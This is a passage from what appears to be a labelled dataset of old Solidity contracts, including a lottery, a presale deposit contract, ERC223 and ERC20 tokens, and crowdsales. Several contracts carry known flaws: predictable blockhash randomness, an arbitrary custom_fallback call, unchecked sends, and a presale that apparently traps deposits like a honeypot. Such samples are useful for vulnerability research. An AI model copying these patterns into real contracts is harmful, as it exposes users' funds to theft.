if(i == numPlayers) {
insert_contribution(msg.sender, value);
} else {
contributions[i]+= value;
}
random = sha3(random, block.blockhash(block.number - 1));
}
function drawPot(string seed, string newSeed) {
if(msg.sender != host) throw;
if (sha3(seed) == seedHash) {
seedHash = sha3(newSeed);
uint winner_index = selectWinner(seed);
host.send(this.balance / 100);
uint amountWon = this.balance;
contributors[winner_index].send(this.balance);
recordWin(winner_index, amountWon);
reset();
nextDraw = now + 7 days;
}
}
function setDrawDate(uint _newDraw) {
if(msg.sender != host) throw;
nextDraw = _newDraw;
}
function selectWinner(string seed) internal returns (uint winner_index) {
uint semirandom = uint(sha3(random, seed)) % this.balance;
for(uint i = 0; i < numPlayers; ++i) {
if(semirandom < contributions[i]) return i;
semirandom -= contributions[i];
}
}
function recordWin(uint winner_index, uint amount) internal {
if(recentWins.length < recentWinsCount) {
recentWins.length++;
} else {
for(uint i = 0; i < recentWinsCount - 1; ++i) {
recentWins[i] = recentWins[i + 1];
}
}
recentWins[recentWins.length - 1] = Win(contributors[winner_index], block.timestamp, contributions[winner_index], amount);
}
function reset() internal {
numPlayers = 0;
}
function destroy() {
if(msg.sender != host) throw;
for(uint i = 0; i < numPlayers; ++i) {
contributors[i].send(contributions[i]);
}
reset();
selfdestruct(host);
}
} | 0 | 167 |
pragma solidity ^0.4.14;
contract QCO_Presale {
uint closed;
struct Deposit { address buyer; uint amount; }
uint refundDate;
address fiduciary = msg.sender;
Deposit[] Deposits;
mapping (address => uint) total;
function() public payable { }
function init(uint date)
{
refundDate = date;
}
function deposit()
public payable {
if (msg.value >= 0.5 ether && msg.sender == tx.origin)
{
Deposit newDeposit;
newDeposit.buyer = msg.sender;
newDeposit.amount = msg.value;
Deposits.push(newDeposit);
total[msg.sender] += msg.value;
}
if (this.balance >= 25 ether)
{
closed = now;
}
}
function refund(uint amount)
public {
if (total[msg.sender] >= amount && amount > 0)
{
if (now >= refundDate && closed == 0)
{
msg.sender.transfer(amount);
}
}
}
function close()
public {
if (msg.sender == fiduciary)
{
closed = now;
msg.sender.transfer(this.balance);
}
}
} | 0 | 730 |
pragma solidity ^0.4.24;
interface ERC223I {
function balanceOf(address _owner) external view returns (uint balance);
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function decimals() external view returns (uint8 _decimals);
function totalSupply() external view returns (uint256 supply);
function transfer(address to, uint value) external returns (bool ok);
function transfer(address to, uint value, bytes data) external returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) external returns (bool ok);
function releaseTokenTransfer() external;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000;
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
interface RateContractI {
function getCurrency(bytes32 _code) external view returns (string, uint, uint, uint, uint);
function getRate(bytes32 _code) external view returns (uint);
function getLocalPrice(bytes32 _code, uint _amount) external view returns (uint);
function getCryptoPrice(uint _amount) external view returns (uint);
function updateRate(bytes32 _code, uint _pmc) external;
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
event UpdatedAgent(address _agent, bool _status);
constructor() public {
defAgent = msg.sender;
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
emit UpdatedAgent(_agent, _status);
}
}
contract ERC223 is ERC223I, Agent, SafeMath {
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public crowdsale = address(0);
bool public released = false;
modifier canTransfer() {
assert(released || msg.sender == crowdsale);
_;
}
modifier onlyCrowdsaleContract() {
assert(msg.sender == crowdsale);
_;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transfer(address _to, uint _value, bytes _data) external canTransfer() returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) external canTransfer() returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
assert(_to.call.value(0)(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", msg.sender, _value, _data)));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) external canTransfer() returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
assert(_to.call.value(0)(abi.encodeWithSignature(_custom_fallback), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function setCrowdsaleContract(address _contract) external onlyOwner {
crowdsale = _contract;
}
function releaseTokenTransfer() external onlyCrowdsaleContract {
released = true;
}
}
contract CrowdSale is Agent, SafeMath {
uint public decimals = 8;
uint public multiplier = 10 ** decimals;
RateContractI public RateContract;
ERC223I public ERC223;
uint public totalSupply;
uint public SoftCap;
uint public HardCap;
uint public startsAt;
uint public endsIn;
uint public investorCount = 0;
uint public weiRaised = 0;
uint public usdRaised = 0;
uint public tokensSold = 0;
bool public finalized;
enum State{Unknown, Preparing, PrivateSale, PreSale, Sale, Success, Failure, Finalized}
mapping (address => uint) public investedAmountOf;
mapping (address => uint) public tokenAmountOf;
address public multisigWallet;
uint public weiRefunded = 0;
uint public price;
struct _Stage {
uint startsAt;
uint endsIn;
uint bonus;
uint min;
uint tokenAmount;
mapping (address => uint) tokenAmountOfStage;
}
_Stage[5] public Stages;
mapping (bytes32 => uint) public cap;
uint[5] public duration;
event Invested(address investor, uint weiAmount, uint tokenAmount, uint bonusAmount);
event ReceiveEtherOnContract(address sender, uint amount);
constructor(address _multisigWallet, uint _priceTokenInUSDCents, uint _startsAt1, uint _startsAt2, uint _startsAt3, uint _startsAt4, uint _startsAt5) public {
duration[0] = 36 days;
duration[1] = 14 days;
duration[2] = 14 days;
duration[3] = 9 days;
duration[4] = 32 days;
initialization(_multisigWallet, _priceTokenInUSDCents, _startsAt1, _startsAt2, _startsAt3, _startsAt4, _startsAt5);
}
function hash(State _data) private pure returns (bytes32 _hash) {
return keccak256(abi.encodePacked(_data));
}
function initialization(address _multisigWallet, uint _priceTokenInUSDCents, uint _startsAt1, uint _startsAt2, uint _startsAt3, uint _startsAt4, uint _startsAt5) public onlyOwner {
require(_multisigWallet != address(0) && _priceTokenInUSDCents > 0);
require(_startsAt1 < _startsAt2 &&
_startsAt2 >= _startsAt1 + duration[0] &&
_startsAt3 >= _startsAt2 + duration[1] &&
_startsAt4 >= _startsAt3 + duration[2] &&
_startsAt5 >= _startsAt4 + duration[3]);
multisigWallet =_multisigWallet;
startsAt = _startsAt1;
endsIn = _startsAt5 + duration[4];
price = _priceTokenInUSDCents;
SoftCap = 200 * (10**6) * multiplier;
HardCap = 1085 * (10**6) * multiplier;
cap[hash(State.PrivateSale)] = 150 * (10**6) * multiplier + 60 * (10**6) * multiplier;
cap[hash(State.PreSale)] = 500 * (10**6) * multiplier + 125 * (10**6) * multiplier;
cap[hash(State.Sale)] = 250 * (10**6) * multiplier;
Stages[0] = _Stage({startsAt: _startsAt1, endsIn:_startsAt1 + duration[0] - 1, bonus: 4000, min: 1250 * 10**3 * multiplier, tokenAmount: 0});
Stages[1] = _Stage({startsAt: _startsAt2, endsIn:_startsAt2 + duration[1] - 1, bonus: 2500, min: 2500 * multiplier, tokenAmount: 0});
Stages[2] = _Stage({startsAt: _startsAt3, endsIn:_startsAt3 + duration[2] - 1, bonus: 2000, min: 2500 * multiplier, tokenAmount: 0});
Stages[3] = _Stage({startsAt: _startsAt4, endsIn:_startsAt4 + duration[3], bonus: 1500, min: 2500 * multiplier, tokenAmount: 0});
Stages[4] = _Stage({startsAt: _startsAt5, endsIn:_startsAt5 + duration[4], bonus: 0, min: 1000 * multiplier, tokenAmount: 0});
}
function getState() public constant returns (State) {
if (finalized) return State.Finalized;
else if (ERC223 == address(0) || RateContract == address(0) || now < startsAt) return State.Preparing;
else if (now >= Stages[0].startsAt && now <= Stages[0].endsIn) return State.PrivateSale;
else if (now >= Stages[1].startsAt && now <= Stages[3].endsIn) return State.PreSale;
else if (now > Stages[3].endsIn && now < Stages[4].startsAt) return State.Preparing;
else if (now >= Stages[4].startsAt && now <= Stages[4].endsIn) return State.Sale;
else if (isCrowdsaleFull()) return State.Success;
else return State.Failure;
}
function getStage() public constant returns (uint) {
uint i;
for (i = 0; i < Stages.length; i++) {
if (now >= Stages[i].startsAt && now < Stages[i].endsIn) {
return i;
}
}
return Stages.length-1;
}
function() public payable {
investInternal(msg.sender, msg.value);
}
function investByAgent(address _receiver, uint _weiAmount) external onlyAgent {
investInternal(_receiver, _weiAmount);
}
function investInternal(address _receiver, uint _weiAmount) private {
require(_weiAmount > 0);
State currentState = getState();
require(currentState == State.PrivateSale || currentState == State.PreSale || currentState == State.Sale);
uint currentStage = getStage();
uint tokenAmount = 0;
uint bonusAmount = 0;
(tokenAmount, bonusAmount) = calculateTokens(_weiAmount, currentStage);
tokenAmount = safeAdd(tokenAmount, bonusAmount);
if (currentState == State.PrivateSale || currentState == State.Sale) {
require(safeAdd(Stages[currentStage].tokenAmount, tokenAmount) <= cap[hash(currentState)]);
} else {
uint TokenSoldOnPreSale = safeAdd(safeAdd(Stages[1].tokenAmount, Stages[2].tokenAmount), Stages[3].tokenAmount);
TokenSoldOnPreSale = safeAdd(TokenSoldOnPreSale, tokenAmount);
require(TokenSoldOnPreSale <= cap[hash(currentState)]);
}
require(safeAdd(tokensSold, tokenAmount) <= HardCap);
Stages[currentStage].tokenAmount = safeAdd(Stages[currentStage].tokenAmount, tokenAmount);
Stages[currentStage].tokenAmountOfStage[_receiver] = safeAdd(Stages[currentStage].tokenAmountOfStage[_receiver], tokenAmount);
if(investedAmountOf[_receiver] == 0) {
investorCount++;
}
investedAmountOf[_receiver] = safeAdd(investedAmountOf[_receiver], _weiAmount);
tokenAmountOf[_receiver] = safeAdd(tokenAmountOf[_receiver], tokenAmount);
weiRaised = safeAdd(weiRaised, _weiAmount);
usdRaised = safeAdd(usdRaised, weiToUsdCents(_weiAmount));
tokensSold = safeAdd(tokensSold, tokenAmount);
multisigWallet.transfer(msg.value);
ERC223.transfer(_receiver, tokenAmount);
emit Invested(_receiver, _weiAmount, tokenAmount, bonusAmount);
}
function calculateTokens(uint _weiAmount, uint _stage) internal view returns (uint tokens, uint bonus) {
uint usdAmount = weiToUsdCents(_weiAmount);
tokens = safeDiv(safeMul(multiplier, usdAmount), price);
require(tokens >= Stages[_stage].min);
bonus = safePerc(tokens, Stages[_stage].bonus);
return (tokens, bonus);
}
function weiToUsdCents(uint weiValue) internal view returns (uint) {
return safeDiv(safeMul(weiValue, RateContract.getRate("ETH")), 1 ether);
}
function isCrowdsaleFull() public constant returns (bool) {
if(tokensSold >= SoftCap){
return true;
}
return false;
}
function finalize() public onlyOwner {
require(!finalized);
require(now > endsIn);
if(HardCap > tokensSold){
ERC223.transfer(address(0), safeSub(HardCap, tokensSold));
}
ERC223.releaseTokenTransfer();
finalized = true;
}
function receive() public payable {
emit ReceiveEtherOnContract(msg.sender, msg.value);
}
function setTokenContract(address _contract) external onlyOwner {
ERC223 = ERC223I(_contract);
totalSupply = ERC223.totalSupply();
HardCap = ERC223.balanceOf(address(this));
}
function setRateContract(address _contract) external onlyOwner {
RateContract = RateContractI(_contract);
}
function setDurations(uint _duration1, uint _duration2, uint _duration3, uint _duration4, uint _duration5) public onlyOwner {
duration[0] = _duration1;
duration[1] = _duration2;
duration[2] = _duration3;
duration[3] = _duration4;
duration[4] = _duration5;
}
} | 1 | 3,404 |
pragma solidity ^0.4.15;
contract Owned {
address public ownerA;
bool public pausedB;
function Owned() {
ownerA = msg.sender;
}
modifier IsOwner {
require(msg.sender == ownerA);
_;
}
modifier IsActive {
require(!pausedB);
_;
}
event LogOwnerChange(address indexed PreviousOwner, address NewOwner);
event LogPaused();
event LogResumed();
function ChangeOwner(address vNewOwnerA) IsOwner {
require(vNewOwnerA != address(0)
&& vNewOwnerA != ownerA);
LogOwnerChange(ownerA, vNewOwnerA);
ownerA = vNewOwnerA;
}
function Pause() IsOwner {
pausedB = true;
LogPaused();
}
function Resume() IsOwner {
pausedB = false;
LogResumed();
}
}
contract DSMath {
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x * y;
assert(x == 0 || z / x == y);
}
function subMaxZero(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y > x)
z = 0;
else
z = x - y;
}
}
contract ERC20Token is Owned, DSMath {
bool public constant isEIP20Token = true;
uint public totalSupply;
bool public saleInProgressB;
mapping(address => uint) internal iTokensOwnedM;
mapping(address => mapping (address => uint)) private pAllowedM;
event Transfer(address indexed src, address indexed dst, uint wad);
event Approval(address indexed Sender, address indexed Spender, uint Wad);
function balanceOf(address guy) public constant returns (uint) {
return iTokensOwnedM[guy];
}
function allowance(address guy, address spender) public constant returns (uint) {
return pAllowedM[guy][spender];
}
modifier IsTransferOK(address src, address dst, uint wad) {
require(!saleInProgressB
&& !pausedB
&& iTokensOwnedM[src] >= wad
&& dst != src
&& dst != address(this)
&& dst != ownerA);
_;
}
function transfer(address dst, uint wad) IsTransferOK(msg.sender, dst, wad) returns (bool) {
iTokensOwnedM[msg.sender] -= wad;
iTokensOwnedM[dst] = add(iTokensOwnedM[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) IsTransferOK(src, dst, wad) returns (bool) {
require(pAllowedM[src][msg.sender] >= wad);
iTokensOwnedM[src] -= wad;
pAllowedM[src][msg.sender] -= wad;
iTokensOwnedM[dst] = add(iTokensOwnedM[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address spender, uint wad) IsActive returns (bool) {
pAllowedM[msg.sender][spender] = wad;
Approval(msg.sender, spender, wad);
return true;
}
}
contract PacioToken is ERC20Token {
string public constant name = "Pacio Token";
string public constant symbol = "PIOE";
uint8 public constant decimals = 12;
uint public tokensIssued;
uint public tokensAvailable;
uint public contributors;
uint public founderTokensAllocated;
uint public founderTokensVested;
uint public foundationTokensAllocated;
uint public foundationTokensVested;
bool public icoCompleteB;
address private pFounderToksA;
address private pFoundationToksA;
event LogIssue(address indexed Dst, uint Picos);
event LogSaleCapReached(uint TokensIssued);
event LogIcoCompleted();
event LogBurn(address Src, uint Picos);
event LogDestroy(uint Picos);
function Initialise(address vNewOwnerA) {
require(totalSupply == 0);
super.ChangeOwner(vNewOwnerA);
founderTokensAllocated = 10**20;
foundationTokensAllocated = 10**20;
totalSupply = 10**21;
iTokensOwnedM[ownerA] = 10**21;
tokensAvailable = 8*(10**20);
Transfer(0x0, ownerA, 10**21);
}
function Mint(uint picos) IsOwner {
totalSupply = add(totalSupply, picos);
iTokensOwnedM[ownerA] = add(iTokensOwnedM[ownerA], picos);
tokensAvailable = subMaxZero(totalSupply, tokensIssued + founderTokensAllocated + foundationTokensAllocated);
Transfer(0x0, ownerA, picos);
}
function PrepareForSale() IsOwner {
require(!icoCompleteB);
saleInProgressB = true;
}
function ChangeOwner(address vNewOwnerA) {
transfer(vNewOwnerA, iTokensOwnedM[ownerA]);
super.ChangeOwner(vNewOwnerA);
}
function Issue(address dst, uint picos) IsOwner IsActive returns (bool) {
require(saleInProgressB
&& iTokensOwnedM[ownerA] >= picos
&& dst != address(this)
&& dst != ownerA);
if (iTokensOwnedM[dst] == 0)
contributors++;
iTokensOwnedM[ownerA] -= picos;
iTokensOwnedM[dst] = add(iTokensOwnedM[dst], picos);
tokensIssued = add(tokensIssued, picos);
tokensAvailable = subMaxZero(tokensAvailable, picos);
LogIssue(dst, picos);
return true;
}
function SaleCapReached() IsOwner IsActive {
saleInProgressB = false;
LogSaleCapReached(tokensIssued);
}
function IcoCompleted() IsOwner IsActive {
require(!icoCompleteB);
saleInProgressB = false;
icoCompleteB = true;
LogIcoCompleted();
}
function SetFFSettings(address vFounderTokensA, address vFoundationTokensA, uint vFounderTokensAllocation, uint vFoundationTokensAllocation) IsOwner {
if (vFounderTokensA != address(0)) pFounderToksA = vFounderTokensA;
if (vFoundationTokensA != address(0)) pFoundationToksA = vFoundationTokensA;
if (vFounderTokensAllocation > 0) assert((founderTokensAllocated = vFounderTokensAllocation) >= founderTokensVested);
if (vFoundationTokensAllocation > 0) assert((foundationTokensAllocated = vFoundationTokensAllocation) >= foundationTokensVested);
tokensAvailable = totalSupply - founderTokensAllocated - foundationTokensAllocated - tokensIssued;
}
function VestFFTokens(uint vFounderTokensVesting, uint vFoundationTokensVesting) IsOwner IsActive {
require(icoCompleteB);
if (vFounderTokensVesting > 0) {
assert(pFounderToksA != address(0));
assert((founderTokensVested = add(founderTokensVested, vFounderTokensVesting)) <= founderTokensAllocated);
iTokensOwnedM[ownerA] = sub(iTokensOwnedM[ownerA], vFounderTokensVesting);
iTokensOwnedM[pFounderToksA] = add(iTokensOwnedM[pFounderToksA], vFounderTokensVesting);
LogIssue(pFounderToksA, vFounderTokensVesting);
tokensIssued = add(tokensIssued, vFounderTokensVesting);
}
if (vFoundationTokensVesting > 0) {
assert(pFoundationToksA != address(0));
assert((foundationTokensVested = add(foundationTokensVested, vFoundationTokensVesting)) <= foundationTokensAllocated);
iTokensOwnedM[ownerA] = sub(iTokensOwnedM[ownerA], vFoundationTokensVesting);
iTokensOwnedM[pFoundationToksA] = add(iTokensOwnedM[pFoundationToksA], vFoundationTokensVesting);
LogIssue(pFoundationToksA, vFoundationTokensVesting);
tokensIssued = add(tokensIssued, vFoundationTokensVesting);
}
}
function Burn(address src, uint picos) IsOwner IsActive {
require(icoCompleteB);
iTokensOwnedM[src] = subMaxZero(iTokensOwnedM[src], picos);
tokensIssued = subMaxZero(tokensIssued, picos);
totalSupply = subMaxZero(totalSupply, picos);
LogBurn(src, picos);
}
function Destroy(uint picos) IsOwner IsActive {
require(icoCompleteB);
totalSupply = subMaxZero(totalSupply, picos);
tokensAvailable = subMaxZero(tokensAvailable, picos);
LogDestroy(picos);
}
function() {
revert();
}
}
contract PacioICO is Owned, DSMath {
string public name;
uint public startTime;
uint public picosCap;
uint public picosSold;
uint public picosPerEther;
uint public weiRaised;
PacioToken public PIOE;
address private pPCwalletA;
function PacioICO() {
pausedB = true;
}
event LogPrepareToStart(string Name, uint StartTime, uint PicosCap, PacioToken TokenContract, address PCwallet);
event LogSetPicosPerEther(uint PicosPerEther);
event LogChangePCWallet(address PCwallet);
event LogSale(address indexed Purchaser, uint SaleWei, uint Picos);
event LogAllocate(address indexed Supplier, uint SuppliedWei, uint Picos);
event LogSaleCapReached(uint WeiRaised, uint PicosSold);
function PrepareToStart(string vNameS, uint vStartTime, uint vPicosCap, uint vPicosPerEther, PacioToken vTokenA, address vPCwalletA) IsOwner {
require(vTokenA != address(0)
&& vPCwalletA != address(0));
name = vNameS;
startTime = vStartTime;
picosCap = vPicosCap;
PIOE = vTokenA;
pPCwalletA = vPCwalletA;
pausedB = false;
PIOE.PrepareForSale();
LogPrepareToStart(vNameS, vStartTime, vPicosCap, vTokenA, vPCwalletA);
SetPicosPerEther(vPicosPerEther);
}
function Buy() payable IsActive {
require(now >= startTime);
require(msg.value >= 0.1 ether);
uint picos = mul(picosPerEther, msg.value) / 10**18;
weiRaised = add(weiRaised, msg.value);
pPCwalletA.transfer(this.balance);
PIOE.Issue(msg.sender, picos);
LogSale(msg.sender, msg.value, picos);
picosSold += picos;
if (picosSold >= picosCap) {
pausedB = true;
PIOE.SaleCapReached();
LogSaleCapReached(weiRaised, picosSold);
}
}
function SetPicosPerEther(uint vPicosPerEther) IsOwner {
picosPerEther = vPicosPerEther;
LogSetPicosPerEther(picosPerEther);
}
function ChangePCWallet(address vPCwalletA) IsOwner {
require(vPCwalletA != address(0));
pPCwalletA = vPCwalletA;
LogChangePCWallet(vPCwalletA);
}
function Allocate(address vSupplierA, uint wad, uint picos) IsOwner IsActive {
PIOE.Issue(vSupplierA, picos);
LogAllocate(vSupplierA, wad, picos);
picosSold += picos;
}
function ChangeTokenContractOwner(address vNewOwnerA) IsOwner {
require(pausedB);
PIOE.ChangeOwner(vNewOwnerA);
}
function PauseTokenContract() IsOwner {
PIOE.Pause();
}
function ResumeTokenContract() IsOwner {
PIOE.Resume();
}
function Mint(uint picos) IsOwner {
require(pausedB);
PIOE.Mint(picos);
}
function IcoCompleted() IsOwner {
require(pausedB);
PIOE.IcoCompleted();
}
function SetFFSettings(address vFounderTokensA, address vFoundationTokensA, uint vFounderTokensAllocation, uint vFoundationTokensAllocation) IsOwner {
PIOE.SetFFSettings(vFounderTokensA, vFoundationTokensA, vFounderTokensAllocation, vFoundationTokensAllocation);
}
function VestFFTokens(uint vFounderTokensVesting, uint vFoundationTokensVesting) IsOwner {
PIOE.VestFFTokens(vFounderTokensVesting, vFoundationTokensVesting);
}
function Burn(address src, uint picos) IsOwner {
PIOE.Burn(src, picos);
}
function Destroy(uint picos) IsOwner {
PIOE.Destroy(picos);
}
function() {
revert();
}
} | 1 | 2,074 |
pragma solidity ^0.4.11;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Renmin is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'Renmin0.2';
function Renmin(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = 10 ** 28;
totalSupply = 10 ** 28;
name = "Renmin";
decimals = 18;
symbol = "Renmin";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,137 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * tokenAmount;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
